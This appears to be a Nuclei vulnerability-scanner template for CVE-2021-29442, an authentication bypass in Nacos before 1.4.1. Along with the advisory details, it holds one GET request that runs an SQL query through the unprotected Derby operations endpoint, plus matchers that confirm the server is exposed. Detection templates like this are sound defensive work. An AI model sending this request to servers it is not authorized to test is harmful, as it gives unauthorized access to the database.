id: CVE-2021-29442 info: name: Nacos <1.4.1 - Authentication Bypass author: dwisiswant0 severity: high description: | Nacos before version 1.4.1 is vulnerable to authentication bypass because the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql). remediation: | Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29442). reference: - https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/ - https://github.com/alibaba/nacos/issues/4463 - https://github.com/alibaba/nacos/pull/4517 - https://github.com/advisories/GHSA-36hp-jr8h-556f - https://nvd.nist.gov/vuln/detail/CVE-2021-29442 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-29442 cwe-id: CWE-306 epss-score: 0.96994 epss-percentile: 0.99651 cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: alibaba product: nacos tags: nacos,auth-bypass,cve,cve2021 http: - method: GET path: - "{{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st" matchers-condition: and matchers: - type: word part: header words: - "application/json" - type: regex part: body regex: - "\"TABLENAME\":\"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT|ALIAS|(?:FI|RO)L)E|(?:(?:ROUTINE)?|COL)PERM|(?:FOREIGN)?KEY|CONSTRAINT|T(?:ABLEPERM|RIGGER)|S(?:TAT(?:EMENT|ISTIC)|EQUENCE|CHEMA)|DEPEND|CHECK|VIEW|USER)|USER|ROLE)S|CONFIG_(?:TAGS_RELATION|INFO_(?:AGGR|BETA|TAG))|TENANT_CAPACITY|GROUP_CAPACITY|PERMISSIONS|SYSCOLUMNS|SYS(?:DUMMY1|TABLES)|APP_LIST)|CONFIG_INFO)|TENANT_INFO)|HIS_CONFIG_INFO)\"" - type: status status: - 200 # digest: 4a0a0047304502202ea188c47650635fb4d7310199bc943bb9924dd19c3c232ec312db038009c4a6022100e89c6703453d1263f4d030f47786940cae1608a8940f1ebb48d65c18b1cef9dc:922c64590222798bb761d5b6d8e72950